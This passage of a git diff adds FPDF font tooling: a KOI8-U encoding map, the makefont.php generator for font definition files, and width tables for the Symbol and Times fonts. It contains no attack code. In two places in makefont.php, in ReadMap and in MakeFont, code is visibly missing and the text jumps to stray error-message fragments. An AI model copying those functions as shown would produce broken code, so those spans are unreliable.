U+0418 afii10026 +!EA U+0419 afii10027 +!EB U+041A afii10028 +!EC U+041B afii10029 +!ED U+041C afii10030 +!EE U+041D afii10031 +!EF U+041E afii10032 +!F0 U+041F afii10033 +!F1 U+042F afii10049 +!F2 U+0420 afii10034 +!F3 U+0421 afii10035 +!F4 U+0422 afii10036 +!F5 U+0423 afii10037 +!F6 U+0416 afii10024 +!F7 U+0412 afii10019 +!F8 U+042C afii10046 +!F9 U+042B afii10045 +!FA U+0417 afii10025 +!FB U+0428 afii10042 +!FC U+042D afii10047 +!FD U+0429 afii10043 +!FE U+0427 afii10041 +!FF U+042A afii10044 diff --git a/tools/fpdf/font/makefont/koi8-u.map b/tools/fpdf/font/makefont/koi8-u.map new file mode 100755 index 0000000..40a7e4f --- /dev/null +++ b/tools/fpdf/font/makefont/koi8-u.map @@ -0,0 +1,256 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+2500 SF100000 +!81 U+2502 SF110000 +!82 U+250C SF010000 +!83 U+2510 SF030000 +!84 U+2514 SF020000 +!85 U+2518 SF040000 +!86 U+251C SF080000 +!87 U+2524 SF090000 +!88 U+252C SF060000 +!89 U+2534 SF070000 +!8A U+253C SF050000 +!8B U+2580 upblock +!8C U+2584 dnblock +!8D U+2588 block +!8E U+258C lfblock +!8F U+2590 rtblock +!90 U+2591 ltshade +!91 U+2592 shade +!92 U+2593 dkshade +!93 U+2320 integraltp +!94 U+25A0 filledbox +!95 U+2022 bullet +!96 U+221A radical +!97 U+2248 approxequal +!98 U+2264 lessequal +!99 U+2265 greaterequal +!9A U+00A0 space +!9B U+2321 integralbt +!9C U+00B0 degree +!9D U+00B2 twosuperior +!9E U+00B7 periodcentered +!9F U+00F7 divide +!A0 U+2550 SF430000 +!A1 U+2551 SF240000 +!A2 U+2552 SF510000 +!A3 U+0451 afii10071 +!A4 U+0454 afii10101 +!A5 U+2554 SF390000 +!A6 U+0456 afii10103 +!A7 U+0457 afii10104 +!A8 U+2557 SF250000 +!A9 U+2558 SF500000 +!AA U+2559 SF490000 +!AB U+255A SF380000 +!AC U+255B SF280000 +!AD U+0491 afii10098 +!AE U+255D SF260000 +!AF U+255E SF360000 +!B0 U+255F SF370000 +!B1 U+2560 SF420000 +!B2 U+2561 SF190000 +!B3 U+0401 afii10023 +!B4 U+0404 afii10053 +!B5 U+2563 SF230000 +!B6 U+0406 afii10055 +!B7 U+0407 afii10056 +!B8 U+2566 SF410000 +!B9 U+2567 SF450000 +!BA U+2568 SF460000 +!BB U+2569 SF400000 +!BC U+256A SF540000 +!BD U+0490 afii10050 +!BE U+256C SF440000 +!BF U+00A9 copyright +!C0 U+044E afii10096 +!C1 U+0430 afii10065 +!C2 U+0431 afii10066 +!C3 U+0446 afii10088 +!C4 U+0434 afii10069 +!C5 U+0435 afii10070 +!C6 U+0444 afii10086 +!C7 U+0433 afii10068 +!C8 U+0445 afii10087 +!C9 U+0438 afii10074 +!CA U+0439 afii10075 +!CB U+043A afii10076 +!CC U+043B afii10077 +!CD U+043C afii10078 +!CE U+043D afii10079 +!CF U+043E afii10080 +!D0 U+043F afii10081 +!D1 U+044F afii10097 +!D2 U+0440 afii10082 +!D3 U+0441 afii10083 +!D4 U+0442 afii10084 +!D5 U+0443 afii10085 +!D6 U+0436 afii10072 +!D7 U+0432 afii10067 +!D8 U+044C afii10094 +!D9 U+044B afii10093 +!DA U+0437 afii10073 +!DB U+0448 afii10090 +!DC U+044D afii10095 +!DD U+0449 afii10091 +!DE U+0447 afii10089 +!DF U+044A afii10092 +!E0 U+042E afii10048 +!E1 U+0410 afii10017 +!E2 U+0411 afii10018 +!E3 U+0426 afii10040 +!E4 U+0414 afii10021 +!E5 U+0415 afii10022 +!E6 U+0424 afii10038 +!E7 U+0413 afii10020 +!E8 U+0425 afii10039 +!E9 U+0418 afii10026 +!EA U+0419 afii10027 +!EB U+041A afii10028 +!EC U+041B afii10029 +!ED U+041C afii10030 +!EE U+041D afii10031 +!EF U+041E afii10032 +!F0 U+041F afii10033 +!F1 U+042F afii10049 +!F2 U+0420 afii10034 +!F3 U+0421 afii10035 +!F4 U+0422 afii10036 +!F5 U+0423 afii10037 +!F6 U+0416 afii10024 +!F7 U+0412 afii10019 +!F8 U+042C afii10046 +!F9 U+042B afii10045 +!FA U+0417 afii10025 +!FB U+0428 afii10042 +!FC U+042D afii10047 +!FD U+0429 afii10043 +!FE U+0427 afii10041 +!FF U+042A afii10044 diff --git a/tools/fpdf/font/makefont/makefont.php b/tools/fpdf/font/makefont/makefont.php new file mode 100755 index 0000000..f7c6daa --- /dev/null +++ b/tools/fpdf/font/makefont/makefont.php @@ -0,0 +1,416 @@ +Error: encoding not found: '.$enc); + $cc2gn=array(); + foreach($a as $l) + { + if($l[0]=='!') + { + $e=preg_split('/[ \\t]+/',rtrim($l)); + $cc=hexdec(substr($e[0],1)); + $gn=$e[2]; + $cc2gn[$cc]=$gn; + } + } + for($i=0;$i<=255;$i++) + { + if(!isset($cc2gn[$i])) + $cc2gn[$i]='.notdef'; + } + return $cc2gn; +} + +function ReadAFM($file, &$map) +{ + //Read a font metric file + $a=file($file); + if(empty($a)) + die('File not found'); + $widths=array(); + $fm=array(); + $fix=array('Edot'=>'Edotaccent','edot'=>'edotaccent','Idot'=>'Idotaccent','Zdot'=>'Zdotaccent','zdot'=>'zdotaccent', + 'Odblacute'=>'Ohungarumlaut','odblacute'=>'ohungarumlaut','Udblacute'=>'Uhungarumlaut','udblacute'=>'uhungarumlaut', + 'Gcedilla'=>'Gcommaaccent','gcedilla'=>'gcommaaccent','Kcedilla'=>'Kcommaaccent','kcedilla'=>'kcommaaccent', + 'Lcedilla'=>'Lcommaaccent','lcedilla'=>'lcommaaccent','Ncedilla'=>'Ncommaaccent','ncedilla'=>'ncommaaccent', + 'Rcedilla'=>'Rcommaaccent','rcedilla'=>'rcommaaccent','Scedilla'=>'Scommaaccent','scedilla'=>'scommaaccent', + 'Tcedilla'=>'Tcommaaccent','tcedilla'=>'tcommaaccent','Dslash'=>'Dcroat','dslash'=>'dcroat','Dmacron'=>'Dcroat','dmacron'=>'dcroat', + 'combininggraveaccent'=>'gravecomb','combininghookabove'=>'hookabovecomb','combiningtildeaccent'=>'tildecomb', + 'combiningacuteaccent'=>'acutecomb','combiningdotbelow'=>'dotbelowcomb','dongsign'=>'dong'); + foreach($a as $l) + { + $e=explode(' ',rtrim($l)); + if(count($e)<2) + continue; + $code=$e[0]; + $param=$e[1]; + if($code=='C') + { + //Character metrics + $cc=(int)$e[1]; + $w=$e[4]; + $gn=$e[7]; + if(substr($gn,-4)=='20AC') + $gn='Euro'; + if(isset($fix[$gn])) + { + //Fix incorrect glyph name + foreach($map as $c=>$n) + { + if($n==$fix[$gn]) + $map[$c]=$gn; + } + } + if(empty($map)) + { + //Symbolic font: use built-in encoding + $widths[$cc]=$w; + } + else + { + $widths[$gn]=$w; + if($gn=='X') + $fm['CapXHeight']=$e[13]; + } + if($gn=='.notdef') + $fm['MissingWidth']=$w; + } + elseif($code=='FontName') + $fm['FontName']=$param; + elseif($code=='Weight') + $fm['Weight']=$param; + elseif($code=='ItalicAngle') + $fm['ItalicAngle']=(double)$param; + elseif($code=='Ascender') + $fm['Ascender']=(int)$param; + elseif($code=='Descender') + $fm['Descender']=(int)$param; + elseif($code=='UnderlineThickness') + $fm['UnderlineThickness']=(int)$param; + elseif($code=='UnderlinePosition') + $fm['UnderlinePosition']=(int)$param; + elseif($code=='IsFixedPitch') + $fm['IsFixedPitch']=($param=='true'); + elseif($code=='FontBBox') + $fm['FontBBox']=array($e[1],$e[2],$e[3],$e[4]); + elseif($code=='CapHeight') + $fm['CapHeight']=(int)$param; + elseif($code=='StdVW') + $fm['StdVW']=(int)$param; + } + if(!isset($fm['FontName'])) + die('FontName not found'); + if(!empty($map)) + { + if(!isset($widths['.notdef'])) + $widths['.notdef']=600; + if(!isset($widths['Delta']) && isset($widths['increment'])) + $widths['Delta']=$widths['increment']; + //Order widths according to map + for($i=0;$i<=255;$i++) + { + if(!isset($widths[$map[$i]])) + { + echo 'Warning: character '.$map[$i].' is missing
        '; + $widths[$i]=$widths['.notdef']; + } + else + $widths[$i]=$widths[$map[$i]]; + } + } + $fm['Widths']=$widths; + return $fm; +} + +function MakeFontDescriptor($fm, $symbolic) +{ + //Ascent + $asc=(isset($fm['Ascender']) ? $fm['Ascender'] : 1000); + $fd="array('Ascent'=>".$asc; + //Descent + $desc=(isset($fm['Descender']) ? $fm['Descender'] : -200); + $fd.=",'Descent'=>".$desc; + //CapHeight + if(isset($fm['CapHeight'])) + $ch=$fm['CapHeight']; + elseif(isset($fm['CapXHeight'])) + $ch=$fm['CapXHeight']; + else + $ch=$asc; + $fd.=",'CapHeight'=>".$ch; + //Flags + $flags=0; + if(isset($fm['IsFixedPitch']) && $fm['IsFixedPitch']) + $flags+=1<<0; + if($symbolic) + $flags+=1<<2; + if(!$symbolic) + $flags+=1<<5; + if(isset($fm['ItalicAngle']) && $fm['ItalicAngle']!=0) + $flags+=1<<6; + $fd.=",'Flags'=>".$flags; + //FontBBox + if(isset($fm['FontBBox'])) + $fbb=$fm['FontBBox']; + else + $fbb=array(0,$desc-100,1000,$asc+100); + $fd.=",'FontBBox'=>'[".$fbb[0].' '.$fbb[1].' '.$fbb[2].' '.$fbb[3]."]'"; + //ItalicAngle + $ia=(isset($fm['ItalicAngle']) ? $fm['ItalicAngle'] : 0); + $fd.=",'ItalicAngle'=>".$ia; + //StemV + if(isset($fm['StdVW'])) + $stemv=$fm['StdVW']; + elseif(isset($fm['Weight']) && preg_match('/bold|black/i',$fm['Weight'])) + $stemv=120; + else + $stemv=70; + $fd.=",'StemV'=>".$stemv; + //MissingWidth + if(isset($fm['MissingWidth'])) + $fd.=",'MissingWidth'=>".$fm['MissingWidth']; + $fd.=')'; + return $fd; +} + +function MakeWidthArray($fm) +{ + //Make character width array + $s="array(\n\t"; + $cw=$fm['Widths']; + for($i=0;$i<=255;$i++) + { + if(chr($i)=="'") + $s.="'\\''"; + elseif(chr($i)=="\\") + $s.="'\\\\'"; + elseif($i>=32 && $i<=126) + $s.="'".chr($i)."'"; + else + $s.="chr($i)"; + $s.='=>'.$fm['Widths'][$i]; + if($i<255) + $s.=','; + if(($i+1)%22==0) + $s.="\n\t"; + } + $s.=')'; + return $s; +} + +function MakeFontEncoding($map) +{ + //Build differences from reference encoding + $ref=ReadMap('cp1252'); + $s=''; + $last=0; + for($i=32;$i<=255;$i++) + { + if($map[$i]!=$ref[$i]) + { + if($i!=$last+1) + $s.=$i.' '; + $last=$i; + $s.='/'.$map[$i].' '; + } + } + return rtrim($s); +} + +function SaveToFile($file, $s, $mode) +{ + $f=fopen($file,'w'.$mode); + if(!$f) + die('Can\'t write to file '.$file); + fwrite($f,$s,strlen($s)); + fclose($f); +} + +function ReadShort($f) +{ + $a=unpack('n1n',fread($f,2)); + return $a['n']; +} + +function ReadLong($f) +{ + $a=unpack('N1N',fread($f,4)); + return $a['N']; +} + +function CheckTTF($file) +{ + //Check if font license allows embedding + $f=fopen($file,'rb'); + if(!$f) + die('Error: Can\'t open '.$file); + //Extract number of tables + fseek($f,4,SEEK_CUR); + $nb=ReadShort($f); + fseek($f,6,SEEK_CUR); + //Seek OS/2 table + $found=false; + for($i=0;$i<$nb;$i++) + { + if(fread($f,4)=='OS/2') + { + $found=true; + break; + } + fseek($f,12,SEEK_CUR); + } + if(!$found) + { + fclose($f); + return; + } + fseek($f,4,SEEK_CUR); + $offset=ReadLong($f); + fseek($f,$offset,SEEK_SET); + //Extract fsType flags + fseek($f,8,SEEK_CUR); + $fsType=ReadShort($f); + $rl=($fsType & 0x02)!=0; + $pp=($fsType & 0x04)!=0; + $e=($fsType & 0x08)!=0; + fclose($f); + if($rl && !$pp && !$e) + echo 'Warning: font license does not allow embedding'; +} + +/******************************************************************************* +* fontfile : chemin du fichier TTF (ou chaîne vide si pas d'incorporation) * +* afmfile : chemin du fichier AFM * +* enc : encodage (ou chaîne vide si la police est symbolique) * +* patch : patch optionnel pour l'encodage * +* type : type de la police si fontfile est vide * +*******************************************************************************/ +function MakeFont($fontfile, $afmfile, $enc='cp1252', $patch=array(), $type='TrueType') +{ + ini_set('auto_detect_line_endings','1'); + if($enc) + { + $map=ReadMap($enc); + foreach($patch as $cc=>$gn) + $map[$cc]=$gn; + } + else + $map=array(); + if(!file_exists($afmfile)) + die('Error: AFM file not found: '.$afmfile); + $fm=ReadAFM($afmfile,$map); + if($enc) + $diff=MakeFontEncoding($map); + else + $diff=''; + $fd=MakeFontDescriptor($fm,empty($map)); + //Find font type + if($fontfile) + { + $ext=strtolower(substr($fontfile,-3)); + if($ext=='ttf') + $type='TrueType'; + elseif($ext=='pfb') + $type='Type1'; + else + die('Error: unrecognized font file extension: '.$ext); + } + else + { + if($type!='TrueType' && $type!='Type1') + die('Error: incorrect font type: '.$type); + } + //Start generation + $s='Error: font file not found: '.$fontfile); + if($type=='TrueType') + CheckTTF($fontfile); + $f=fopen($fontfile,'rb'); + if(!$f) + die('Error: Can\'t open '.$fontfile); + $file=fread($f,filesize($fontfile)); + fclose($f); + if($type=='Type1') + { + //Find first two sections and discard third one + $header=(ord($file[0])==128); + if($header) + { + //Strip first binary header + $file=substr($file,6); + } + $pos=strpos($file,'eexec'); + if(!$pos) + die('Error: font file does not seem to be valid Type1'); + $size1=$pos+6; + if($header && ord($file[$size1])==128) + { + //Strip second binary header + $file=substr($file,0,$size1).substr($file,$size1+6); + } + $pos=strpos($file,'00000000'); + if(!$pos) + die('Error: font file does not seem to be valid Type1'); + $size2=$pos-$size1; + $file=substr($file,0,$size1+$size2); + } + if(function_exists('gzcompress')) + { + $cmp=$basename.'.z'; + SaveToFile($cmp,gzcompress($file),'b'); + $s.='$file=\''.$cmp."';\n"; + echo 'Font file compressed ('.$cmp.')
        '; + } + else + { + $s.='$file=\''.basename($fontfile)."';\n"; + echo 'Notice: font file could not be compressed (zlib extension not available)
        '; + } + if($type=='Type1') + { + $s.='$size1='.$size1.";\n"; + $s.='$size2='.$size2.";\n"; + } + else + $s.='$originalsize='.filesize($fontfile).";\n"; + } + else + { + //Not embedded font + $s.='$file='."'';\n"; + } + $s.="?>\n"; + SaveToFile($basename.'.php',$s,'t'); + echo 'Font definition file generated ('.$basename.'.php'.')
        '; +} +?> diff --git a/tools/fpdf/font/symbol.php b/tools/fpdf/font/symbol.php new file mode 100755 index 0000000..b556ed8 --- /dev/null +++ b/tools/fpdf/font/symbol.php @@ -0,0 +1,15 @@ +250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250, + chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>713,'#'=>500,'$'=>549,'%'=>833,'&'=>778,'\''=>439,'('=>333,')'=>333,'*'=>500,'+'=>549, + ','=>250,'-'=>549,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>278,';'=>278,'<'=>549,'='=>549,'>'=>549,'?'=>444,'@'=>549,'A'=>722, + 'B'=>667,'C'=>722,'D'=>612,'E'=>611,'F'=>763,'G'=>603,'H'=>722,'I'=>333,'J'=>631,'K'=>722,'L'=>686,'M'=>889,'N'=>722,'O'=>722,'P'=>768,'Q'=>741,'R'=>556,'S'=>592,'T'=>611,'U'=>690,'V'=>439,'W'=>768, + 'X'=>645,'Y'=>795,'Z'=>611,'['=>333,'\\'=>863,']'=>333,'^'=>658,'_'=>500,'`'=>500,'a'=>631,'b'=>549,'c'=>549,'d'=>494,'e'=>439,'f'=>521,'g'=>411,'h'=>603,'i'=>329,'j'=>603,'k'=>549,'l'=>549,'m'=>576, + 'n'=>521,'o'=>549,'p'=>549,'q'=>521,'r'=>549,'s'=>603,'t'=>439,'u'=>576,'v'=>713,'w'=>686,'x'=>493,'y'=>686,'z'=>494,'{'=>480,'|'=>200,'}'=>480,'~'=>549,chr(127)=>0,chr(128)=>0,chr(129)=>0,chr(130)=>0,chr(131)=>0, + chr(132)=>0,chr(133)=>0,chr(134)=>0,chr(135)=>0,chr(136)=>0,chr(137)=>0,chr(138)=>0,chr(139)=>0,chr(140)=>0,chr(141)=>0,chr(142)=>0,chr(143)=>0,chr(144)=>0,chr(145)=>0,chr(146)=>0,chr(147)=>0,chr(148)=>0,chr(149)=>0,chr(150)=>0,chr(151)=>0,chr(152)=>0,chr(153)=>0, + chr(154)=>0,chr(155)=>0,chr(156)=>0,chr(157)=>0,chr(158)=>0,chr(159)=>0,chr(160)=>750,chr(161)=>620,chr(162)=>247,chr(163)=>549,chr(164)=>167,chr(165)=>713,chr(166)=>500,chr(167)=>753,chr(168)=>753,chr(169)=>753,chr(170)=>753,chr(171)=>1042,chr(172)=>987,chr(173)=>603,chr(174)=>987,chr(175)=>603, + chr(176)=>400,chr(177)=>549,chr(178)=>411,chr(179)=>549,chr(180)=>549,chr(181)=>713,chr(182)=>494,chr(183)=>460,chr(184)=>549,chr(185)=>549,chr(186)=>549,chr(187)=>549,chr(188)=>1000,chr(189)=>603,chr(190)=>1000,chr(191)=>658,chr(192)=>823,chr(193)=>686,chr(194)=>795,chr(195)=>987,chr(196)=>768,chr(197)=>768, + chr(198)=>823,chr(199)=>768,chr(200)=>768,chr(201)=>713,chr(202)=>713,chr(203)=>713,chr(204)=>713,chr(205)=>713,chr(206)=>713,chr(207)=>713,chr(208)=>768,chr(209)=>713,chr(210)=>790,chr(211)=>790,chr(212)=>890,chr(213)=>823,chr(214)=>549,chr(215)=>250,chr(216)=>713,chr(217)=>603,chr(218)=>603,chr(219)=>1042, + chr(220)=>987,chr(221)=>603,chr(222)=>987,chr(223)=>603,chr(224)=>494,chr(225)=>329,chr(226)=>790,chr(227)=>790,chr(228)=>786,chr(229)=>713,chr(230)=>384,chr(231)=>384,chr(232)=>384,chr(233)=>384,chr(234)=>384,chr(235)=>384,chr(236)=>494,chr(237)=>494,chr(238)=>494,chr(239)=>494,chr(240)=>0,chr(241)=>329, + chr(242)=>274,chr(243)=>686,chr(244)=>686,chr(245)=>686,chr(246)=>384,chr(247)=>384,chr(248)=>384,chr(249)=>384,chr(250)=>384,chr(251)=>384,chr(252)=>494,chr(253)=>494,chr(254)=>494,chr(255)=>0); +?> diff --git a/tools/fpdf/font/times.php b/tools/fpdf/font/times.php new file mode 100755 index 0000000..b9be1b2 --- /dev/null +++ b/tools/fpdf/font/times.php @@ -0,0 +1,15 @@ +250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250, + chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>408,'#'=>500,'$'=>500,'%'=>833,'&'=>778,'\''=>180,'('=>333,')'=>333,'*'=>500,'+'=>564, + ','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>278,';'=>278,'<'=>564,'='=>564,'>'=>564,'?'=>444,'@'=>921,'A'=>722, + 'B'=>667,'C'=>667,'D'=>722,'E'=>611,'F'=>556,'G'=>722,'H'=>722,'I'=>333,'J'=>389,'K'=>722,'L'=>611,'M'=>889,'N'=>722,'O'=>722,'P'=>556,'Q'=>722,'R'=>667,'S'=>556,'T'=>611,'U'=>722,'V'=>722,'W'=>944, + 'X'=>722,'Y'=>722,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>469,'_'=>500,'`'=>333,'a'=>444,'b'=>500,'c'=>444,'d'=>500,'e'=>444,'f'=>333,'g'=>500,'h'=>500,'i'=>278,'j'=>278,'k'=>500,'l'=>278,'m'=>778, + 'n'=>500,'o'=>500,'p'=>500,'q'=>500,'r'=>333,'s'=>389,'t'=>278,'u'=>500,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>444,'{'=>480,'|'=>200,'}'=>480,'~'=>541,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500, + chr(132)=>444,chr(133)=>1000,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>556,chr(139)=>333,chr(140)=>889,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>444,chr(148)=>444,chr(149)=>350,chr(150)=>500,chr(151)=>1000,chr(152)=>333,chr(153)=>980, + chr(154)=>389,chr(155)=>333,chr(156)=>722,chr(157)=>350,chr(158)=>444,chr(159)=>722,chr(160)=>250,chr(161)=>333,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>200,chr(167)=>500,chr(168)=>333,chr(169)=>760,chr(170)=>276,chr(171)=>500,chr(172)=>564,chr(173)=>333,chr(174)=>760,chr(175)=>333, + chr(176)=>400,chr(177)=>564,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>500,chr(182)=>453,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>310,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>444,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722, + chr(198)=>889,chr(199)=>667,chr(200)=>611,chr(201)=>611,chr(202)=>611,chr(203)=>611,chr(204)=>333,chr(205)=>333,chr(206)=>333,chr(207)=>333,chr(208)=>722,chr(209)=>722,chr(210)=>722,chr(211)=>722,chr(212)=>722,chr(213)=>722,chr(214)=>722,chr(215)=>564,chr(216)=>722,chr(217)=>722,chr(218)=>722,chr(219)=>722, + chr(220)=>722,chr(221)=>722,chr(222)=>556,chr(223)=>500,chr(224)=>444,chr(225)=>444,chr(226)=>444,chr(227)=>444,chr(228)=>444,chr(229)=>444,chr(230)=>667,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>500, + chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>564,chr(248)=>500,chr(249)=>500,chr(250)=>500,chr(251)=>500,chr(252)=>500,chr(253)=>500,chr(254)=>500,chr(255)=>500); +?> diff --git a/tools/fpdf/font/timesb.php b/tools/fpdf/font/timesb.php new file mode 100755 index 0000000..c3eb9fa --- /dev/null +++ b/tools/fpdf/font/timesb.php @@ -0,0 +1,15 @@ +250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250, + chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>555,'#'=>500,'$'=>500,'%'=>1000,'&'=>833,'\''=>278,'('=>333,')'=>333,'*'=>500,'+'=>570, + ','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>333,';'=>333,'<'=>570,'='=>570,'>'=>570,'?'=>500,'@'=>930,'A'=>722, + 'B'=>667,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>778,'I'=>389,'J'=>500,'K'=>778,'L'=>667,'M'=>944,'N'=>722,'O'=>778,'P'=>611,'Q'=>778,'R'=>722,'S'=>556,'T'=>667,'U'=>722,'V'=>722,'W'=>1000, + 'X'=>722,'Y'=>722,'Z'=>667,'['=>333,'\\'=>278,']'=>333,'^'=>581,'_'=>500,'`'=>333,'a'=>500,'b'=>556,'c'=>444,'d'=>556,'e'=>444,'f'=>333,'g'=>500,'h'=>556,'i'=>278,'j'=>333,'k'=>556,'l'=>278,'m'=>833, + 'n'=>556,'o'=>500,'p'=>556,'q'=>556,'r'=>444,'s'=>389,'t'=>333,'u'=>556,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>444,'{'=>394,'|'=>220,'}'=>394,'~'=>520,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500, + chr(132)=>500,chr(133)=>1000,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>556,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>667,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>500,chr(151)=>1000,chr(152)=>333,chr(153)=>1000, + chr(154)=>389,chr(155)=>333,chr(156)=>722,chr(157)=>350,chr(158)=>444,chr(159)=>722,chr(160)=>250,chr(161)=>333,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>220,chr(167)=>500,chr(168)=>333,chr(169)=>747,chr(170)=>300,chr(171)=>500,chr(172)=>570,chr(173)=>333,chr(174)=>747,chr(175)=>333, + chr(176)=>400,chr(177)=>570,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>556,chr(182)=>540,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>330,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>500,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722, + chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>389,chr(205)=>389,chr(206)=>389,chr(207)=>389,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>570,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722, + 